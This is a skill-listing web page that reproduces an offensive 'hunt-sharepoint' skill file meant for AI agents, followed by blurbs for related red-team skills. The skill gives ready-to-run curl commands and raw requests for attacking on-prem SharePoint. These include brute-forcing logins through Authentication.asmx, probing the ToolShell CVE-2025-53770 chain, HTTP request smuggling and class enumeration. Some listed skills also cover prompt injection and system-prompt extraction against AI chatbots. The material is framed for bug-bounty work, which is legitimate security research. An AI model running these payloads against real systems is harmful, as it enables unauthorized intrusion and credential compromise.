hunt-sharepoint skill
Hunt Microsoft SharePoint Server (2013/2016/2019/Subscription Edition) on-prem farms — anonymous endpoint enumeration, version disclosure, legacy SOAP login bypass (Authentication.asmx), ToolShell precondition chain (CVE-2025-53770), SafeControl reflection enumeration via Picker.aspx, NTLM Type-2 AD topology disclosure, custom-branding module discovery, EoL farm permanent-CVE-window exploitation, FormDigest anonymous issuance, file-extension blocklist NOT-an-oracle pattern, custom-zone Forms auth bridging on-prem AD. Use when target has SharePoint headers (SPRequestGuid, X-MS-InvokeApp, X-SharePointHealthScore, MicrosoftSharePointTeamServices) or paths (/_layouts/15/, /_vti_bin/, /_api/, /_catalogs/).
Is the hunt-sharepoint skill safe?
Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.
No findings.
Install the hunt-sharepoint skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter mkdir -p ~/.claude/skills cp -r /tmp/Claude-BugHunter/skills/hunt-sharepoint ~/.claude/skills/hunt-sharepoint
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Crown Jewel Targets
SharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:
- End-of-life unpatched code paths. SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build 15.0.5545.1000 / KB5002381). Every SharePoint CVE published after that date is permanently unpatched on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.
- CVE-2025-53770 / 53771 "ToolShell" — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous /layouts/15/ToolPane.aspx?DisplayMode=Edit + anonymous REQUESTDIGEST + unencrypted ViewState) is present in SP2013 too and will never receive a fix.
- Custom branded login pages forget legacy SOAP login. /vtibin/Authentication.asmx with the Login SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.
Highest-value SharePoint targets:
- SP2013 farms still on the public internet — every CVE since April 2023 is unpatched. Critical-severity findings.
- Dealer / partner / supplier portals built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.
- SharePoint farms with anonymous Forms-auth zones — Authentication.asmx becomes anonymously brute-forceable.
- SharePoint inside corporate AD parent forests — NTLM Type-2 leak (see hunt-ntlm-info) discloses the parent forest membership.
- Telerik-integrated SharePoint installations — additional deserialization sinks on top of SP's own.
Asset types that pay most: internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.
Attack Surface Signals
Response-header fingerprints (any one is sufficient — usually multiple co-occur):
SPRequestGuid: <GUID> (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly (SharePoint web request)
X-SharePointHealthScore: 0 (SharePoint specific)
SPIisLatency: <ms> (SharePoint internal timing)
SPRequestDuration: <ms> (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0 (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL> (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL> (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied... (WebDAV extension active)
DAV: 1, 2 (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=... (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=... (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=... (SharePoint UI mode)URL / path fingerprints:
/_layouts/15/ (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/ (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/ (some SP2019 / SPE)
/_vti_bin/ (FrontPage-RPC + SOAP services)
/_vti_pvt/ (FrontPage-RPC config — usually 403)
/_vti_inf.html (almost always anonymous; contains FPVersion banner)
/_api/ (modern REST API)
/_api/$metadata (OData metadata — often anonymous + large)
/_api/contextinfo (FormDigest issuer — POST only)
/_catalogs/ (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx (user list — usually 403)
/_layouts/15/start.aspx (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx (people/list picker — SafeControl recon)
/_layouts/15/download.aspx (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx (logout)
/_layouts/15/error.aspx (error page — anonymous)
Body signals (in HTML responses):
<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/..."); (Script-on-demand registration)
var g_initUrl=''; (start.aspx MDS state)
__REQUESTDIGEST (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED="" (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX" (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low: (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx body)Tech-stack signals:
- Server: Microsoft-IIS/10.0 + paths starting with /_layouts/15/ → SharePoint 2013/2016/2019/SE
- AWS ELB / ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)
- WWW-Authenticate: NTLM on /_api/web/CurrentUser → dual-auth (Forms + NTLM); use hunt-ntlm-info for AD-topology disclosure
- *.test..tld → test/staging mirror of production SharePoint; data often mirrored from prod
Step-by-Step Hunting Methodology
- Fingerprint the SharePoint version. Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.
# Method 1: _vti_inf.html (always anonymous, always present)
curl -sk "https://target.example/_vti_inf.html"
# → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)
# Method 2: _api/contextinfo POST (anonymous on most farms)
curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.LibraryVersion'
# → "15.0.5545.1000" (full build number)
# Method 3: /_layouts/15/start.aspx body
curl -sk "https://target.example/_layouts/15/start.aspx" \
| grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"Map to CVE matrix:
- Anonymous-endpoint matrix probe. Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.
/_vti_inf.html → version disclosure
/_layouts/15/start.aspx → version disclosure + session minting
/_layouts/15/blank.htm → benign anchor for smuggling probes
/_layouts/15/error.aspx → request-validator behaviour probe
/_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour
/_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour
/_layouts/15/SignOut.aspx → logout — anonymous OK
/_layouts/15/closeConnection.aspx → anonymous OK
/_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings
/_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings
/_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE)
/_layouts/15/Picker.aspx → SafeControl recon (see step 6)
/_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name)- Legacy SOAP login bypass via Authentication.asmx. Cross-reference hunt-auth-bypass Legacy-Protocol Matrix. The standard probe:
# First: confirm Mode = Forms (else this attack vector is N/A)
curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
# → <ModeResult>Forms</ModeResult> ← target is exploitable
# → <ModeResult>Windows</ModeResult> ← target uses Windows auth only; this vector N/A
# Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
# Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
# If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surfaceSeverity: Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the unbounded credential validation is the bug, not "I cracked X credential."
- ToolShell precondition chain probe (CVE-2025-53770 class). Three sub-requests:
# Sub-step a: anonymous GET on ToolPane.aspx
curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
# Body should contain: __REQUESTDIGEST="0x...,..." AND __VIEWSTATEENCRYPTED=""
# If both: precondition stack is anonymous-reachable.
# Sub-step b: anonymous POST to /_api/contextinfo
curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue'
# Should return a valid digest with 1800s validity.
# Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-H "X-RequestDigest: <digest from step b>" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
# Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.Severity: Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if __VIEWSTATEENCRYPTED is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).
IMPORTANT: Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The (ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed __VIEWSTATE for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.
- NTLM Type-2 AD topology disclosure. Cross-reference hunt-ntlm-info for full methodology. Quick check:
# Use Burp send_http1_request with keep-alive, or Python raw socket
# Anonymous Type-1 with NetBIOS-info request flag:
# Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
# Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer nameSeverity: Medium when chained with internet exposure + default WIN-XXXXXXXXXXX hostname; Informational otherwise.
- SafeControl enumeration via Picker.aspx. Picker.aspx differentiates two error states by class existence:
- Type EXISTS but not whitelisted: "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
- Type DOES NOT exist: "Could not load type '' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
Feed a wordlist of Microsoft.SharePoint..WebControls. and Microsoft.SharePoint.WebPartPages.* types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.
for cls in \
"Microsoft.SharePoint.WebControls.PeopleEditor" \
"Microsoft.SharePoint.WebControls.ItemPicker" \
"Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
; do
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"
done- download.aspx is NOT outbound SSRF — recognize and don't waste time. SP's /layouts/15/download.aspx?SourceUrl= is an SP-internal path resolver**, not a generic URL fetcher. Behaviours:
- External URL (http://evil.example.com/x) → 500 with "The Web application at could not be found" — server tried to resolve as an SP web app, didn't fetch.
- Same-origin file URL → 500 with "0x81070211...Cannot open file ''" — server tried SPFile.OpenBinary, file not found.
- Files matching the extension blocklist (.ashx, .asmx, .svc, .config) → 500 with "file blocked from this Web site by the server administrators" regardless of whether the file exists.
- file://, UNC paths, gopher://, etc. → 500 with "Value does not fall within the expected range" — URL-scheme validator rejects.
The error-message URL echo is NOT confirmation of SSRF. Confirm via Burp Collaborator OOB before claiming. (Cross-reference hunt-ssrf OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.
The extension blocklist also looks like a "file-existence oracle" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.
- Custom-branding module enumeration. Customer-customised SP installations almost always have a /layouts/15// directory tree. Find the name from the login URL (e.g. /layouts/15//pages/login/customlogin.aspx → customer name is ). Then probe:
for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
"https://target.example/_layouts/15/CustomerName/$sub/"
# 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
doneJS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper Referer header (some are referer-gated).
- Search service probe. /api/Search returns a small JSON descriptor anonymously. /api/search/query?querytext='X' returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.
- Authenticated post-login surfaces (if you have valid credentials):
- /_api/web/Lists — enumerate lists
- /_api/web/SiteUsers — enumerate users
- /_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files — file enumeration
- /_layouts/15/people.aspx — user listing
- Custom customer-branded modules — check for IDOR, business logic
- Workflow Services (/api/SP.WorkflowServices.)
Payload & Detection Patterns
Authentication.asmx Login (the canonical brute-force endpoint):
POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<username>USERNAME</username>
<password>PASSWORD</password>
</Login>
</soap:Body>
</soap:Envelope>Response codes:
- NoError → auth success; FedAuth and ... follow
- PasswordNotMatch → auth fail (uniform for non-existent users too — no enum leak via error string)
- 500 + Value cannot be null. Parameter name: userName → empty username
ToolShell precondition reproduction:
# Step 1: anon GET ToolPane.aspx
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition
# Step 2: anon FormDigest
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."
# Step 3: anon POST ToolPane with digest
curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-w "\ncode=%{http_code} size=%{size_download}\n"HTTP TE.CL smuggling on AWS ELB + SP IIS back-end (consistent on SP farms behind AWS ELB):
POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15
x=1
0Expected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (Transfer-Encoding : chunked, transfer-encoding: chunked, trailing-space, mixed-case) produce a similar ~6 s hang.
Picker.aspx SafeControl recon:
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePMore skills from elementalsouls/Claude-BugHunter
- Aapk-redteam-pipelineEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
- Fbb-local-toolkitLocal-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
- Abb-methodologyUse at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process."
- Fbug-bountyComplete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词:漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
- Abugcrowd-reportingBugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
- Acloud-iam-deepCloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
- Centerprise-vpn-attackExternal SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
- Aevidence-hygieneEvidence-capture and PoC-redaction discipline for bug-bounty submissions: cookie redaction protocol (which fields to mask, Preview annotation / Burp panel hiding / DevTools workflow), PII black-bar discipline (what to mask in other-user data — names, emails, phones, faces — vs what is safe to leave — usernames, trace IDs, request bodies), HAR file sanitization (jq filters for Cookie/Set-Cookie/Authorization headers), Burp Repeater/Intruder screenshot hygiene (hide request body, show only Results table for rate-limit attacks), Chrome DevTools Console PoC patterns (credentials include so cookies are not echoed, labeled console.log), screenshot capture order, filename conventions, post-submission rotation hygiene. Use BEFORE any PoC screenshot, BEFORE attaching a HAR, or whenever preparing evidence with session cookies or other-user PII. Pairs with bugcrowd-reporting and report-writing.
- Ahunt-api-misconfigHunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
- Ahunt-aspnetHunt ASP.NET-specific surface — ViewState deserialization (signed-only vs encrypted), machineKey recovery, dual-parser MAC-bypass anti-pattern, request-validator bypass, trace.axd/elmah.axd disclosure, load-balanced ViewState cross-node failures, SafeControl enumeration via reflection, customErrors mode=Off stack-trace leaks, classic Webforms .aspx/.asmx/.svc surface. Built for ASP.NET Webforms + WCF + SharePoint farms.
- Ahunt-atoHunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (forge token to another identity; crypto details → hunt-jwt-crypto), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.
- Ahunt-auth-bypassHunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). For standalone JWT signature/crypto forging (alg:none, key confusion, kid/jku) see hunt-jwt-crypto; this skill covers JWT only inside SSO/SAML/token-trust bypass chains. SAML assertion-layer attacks (XSW, comment injection, signature stripping, XXE-in-assertion) are owned by hunt-saml; this skill owns the broader cross-protocol auth-bypass taxonomy. Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns.